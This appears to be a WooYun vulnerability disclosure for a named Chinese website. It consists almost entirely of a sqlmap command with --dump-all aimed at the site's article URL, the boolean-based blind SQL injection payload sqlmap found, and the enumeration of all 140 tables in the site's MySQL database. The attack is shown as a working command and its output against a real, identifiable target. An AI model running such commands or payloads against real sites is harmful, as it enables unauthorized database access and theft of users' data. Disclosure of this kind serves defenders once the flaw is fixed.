WooYun.org

直接上sqlmap吧
~# sqlmap -u www.yejs.com.cn/yjll/article/id/52071*.htm -D yejs --dump-all
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:58:40
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[14:58:42] [INFO] resuming back-end DBMS 'mysql'
[14:58:42] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.yejs.com.cn:80/yjll/article/id/52071) AND 6678=6678 AND (1637=1637.htm
---
[14:58:44] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5
[14:58:44] [INFO] fetching tables for database: 'yejs'
[14:58:44] [INFO] fetching number of tables for database 'yejs'
[14:58:44] [INFO] resumed: 140
[14:58:44] [INFO] resumed: ap_ad
[14:58:44] [INFO] resumed: ap_tharticle
[14:58:44] [INFO] resumed: ap_thmedia
[14:58:44] [INFO] resumed: ap_thorder
[14:58:44] [INFO] resumed: ap_thsort
[14:58:44] [INFO] resumed: area
[14:58:44] [INFO] resumed: assort
[14:58:44] [INFO] resumed: badwords
[14:58:44] [INFO] resumed: bak
[14:58:44] [INFO] resumed: bk_schedule
[14:58:44] [INFO] resumed: bk_schedule_day
[14:58:44] [INFO] resumed: blackboard
[14:58:44] [INFO] resumed: blog
[14:58:44] [INFO] resumed: com_searchkey
[14:58:44] [INFO] resumed: count
[14:58:44] [INFO] resumed: creategroup
[14:58:44] [INFO] resumed: creategroup150114
[14:58:44] [INFO] resumed: creategroup_150213
[14:58:44] [INFO] resumed: email
[14:58:44] [INFO] resumed: email_blacks
[14:58:44] [INFO] resumed: fangle
[14:58:44] [INFO] resumed: fav_num
[14:58:44] [INFO] resumed: fav_tag
[14:58:44] [INFO] resumed: favor
[14:58:44] [INFO] resumed: flash
[14:58:44] [INFO] resumed: forum
[14:58:44] [INFO] resumed: forum_copy
[14:58:44] [INFO] resumed: friend
[14:58:44] [INFO] resumed: friend_invite
[14:58:44] [INFO] resumed: gender
[14:58:44] [INFO] resumed: group
[14:58:44] [INFO] resumed: group_add
[14:58:44] [INFO] resumed: group_fun
[14:58:44] [INFO] resumed: group_invite
[14:58:44] [INFO] resumed: group_join
[14:58:44] [INFO] resumed: group_member
[14:58:44] [INFO] resumed: in_answer
[14:58:44] [INFO] resumed: in_ask
[14:58:44] [INFO] resumed: in_ask_copy
[14:58:44] [INFO] resumed: in_asktype
[14:58:44] [INFO] resumed: in_chat
[14:58:44] [INFO] resumed: in_info
[14:58:44] [INFO] resumed: in_interview
[14:58:44] [INFO] resumed: in_keyword
[14:58:44] [INFO] resumed: in_master
[14:58:44] [INFO] resumed: in_master_info
[14:58:44] [INFO] resumed: in_reply
[14:58:44] [INFO] resumed: in_worker
[14:58:44] [INFO] resumed: integer
[14:58:44] [INFO] resumed: keyword
[14:58:44] [INFO] resumed: kk
[14:58:44] [INFO] resumed: lastest365
[14:58:44] [INFO] resumed: list
[14:58:44] [INFO] resumed: membergroup
[14:58:44] [INFO] resumed: members
[14:58:44] [INFO] resumed: members_log
[14:58:44] [INFO] resumed: message
[14:58:44] [INFO] resumed: message_reply
[14:58:44] [INFO] resumed: moderator
[14:58:44] [INFO] resumed: notice
[14:58:44] [INFO] resumed: photos
[14:58:44] [INFO] resumed: photos_path
[14:58:44] [INFO] resumed: py_lib
[14:58:44] [INFO] resumed: rank
[14:58:44] [INFO] resumed: records
[14:58:44] [INFO] resumed: reply
[14:58:44] [INFO] resumed: schedule
[14:58:44] [INFO] resumed: schedule_day
[14:58:44] [INFO] resumed: setup
[14:58:44] [INFO] resumed: share
[14:58:44] [INFO] resumed: site_img
[14:58:44] [INFO] resumed: smile
[14:58:44] [INFO] resumed: sort
[14:58:44] [INFO] resumed: sys_remind
[14:58:44] [INFO] resumed: th_aa
[14:58:44] [INFO] resumed: th_ad
[14:58:44] [INFO] resumed: th_article
[14:58:44] [INFO] resumed: th_article_detail
[14:58:44] [INFO] resumed: th_blog
[14:58:44] [INFO] resumed: th_blogart
[14:58:44] [INFO] resumed: th_group
[14:58:44] [INFO] resumed: th_interest
[14:58:44] [INFO] resumed: th_kids_right
[14:58:44] [INFO] resumed: th_link
[14:58:44] [INFO] resumed: th_music
[14:58:44] [INFO] resumed: th_searchkey
[14:58:44] [INFO] resumed: th_sort
[14:58:44] [INFO] resumed: th_sort_article
[14:58:44] [INFO] resumed: th_sort_bak
[14:58:44] [INFO] resumed: th_sort_detail
[14:58:44] [INFO] resumed: th_specially
[14:58:44] [INFO] resumed: th_tagindex
[14:58:44] [INFO] resumed: th_taglist
[14:58:44] [INFO] resumed: th_teacher_right
[14:58:44] [INFO] resumed: user
[14:58:44] [INFO] resumed: user_action
[14:58:44] [INFO] resumed: user_fangle
[14:58:44] [INFO] resumed: userideas
[14:58:44] [INFO] resumed: visitor
[14:58:44] [INFO] resumed: week_count
[14:58:44] [INFO] resumed: wonderful
[14:58:44] [INFO] resumed: ys_adcode
[14:58:44] [INFO] resumed: ys_adlocation
[14:58:44] [INFO] resumed: ys_adtext
[14:58:44] [INFO] resumed: ys_adtextc
[14:58:44] [INFO] resumed: ys_adtextcolumn
[14:58:44] [INFO] resumed: ys_adtextviews
[14:58:44] [INFO] resumed: ys_advertiser
[14:58:44] [INFO] resumed: ys_advertising
[14:58:44] [INFO] resumed: ys_adviews
[14:58:44] [INFO] resumed: ys_attention
[14:58:44] [INFO] resumed: ys_auth_group
[14:58:45] [INFO] resumed: ys_auth_group_access
[14:58:45] [INFO] resumed: ys_auth_rule
[14:58:45] [INFO] resumed: ys_column
[14:58:45] [INFO] resumed: ys_contacts
[14:58:45] [INFO] resumed: ys_contacts_group
[14:58:45] [INFO] resumed: ys_favor
[14:58:45] [INFO] resumed: ys_message
[14:58:45] [INFO] resumed: ys_munity_log
[14:58:45] [INFO] resumed: ys_munity_post
[14:58:45] [INFO] resumed: ys_munity_sort
[14:58:45] [INFO] resumed: ys_personletter
[14:58:45] [INFO] resumed: ys_phoneverify
[14:58:45] [INFO] resumed: ys_seo
[14:58:45] [INFO] resumed: ys_show
[14:58:45] [INFO] resumed: ys_show_detail
[14:58:45] [INFO] resumed: ys_sort
[14:58:45] [INFO] resumed: ys_thinknews
[14:58:45] [INFO] resumed: ys_training
[14:58:45] [INFO] resumed: ys_weizhuanti
[14:58:45] [INFO] resumed: ys_wish
[14:58:45] [INFO] resumed: yuanzhang
[14:58:45] [INFO] resumed: yz_index
[14:58:45] [INFO] resumed: yz_pics
[14:58:45] [INFO] resumed: zhuanti
[14:58:45] [INFO] resumed: zhuanti_tuijian
[14:58:45] [INFO] resumed: zt_answers
[14:58:45] [INFO] resumed: zt_messages
[14:58:45] [INFO] resumed: zt_questions
这就是所有的140张表，接下来的columns就不复制出来了啊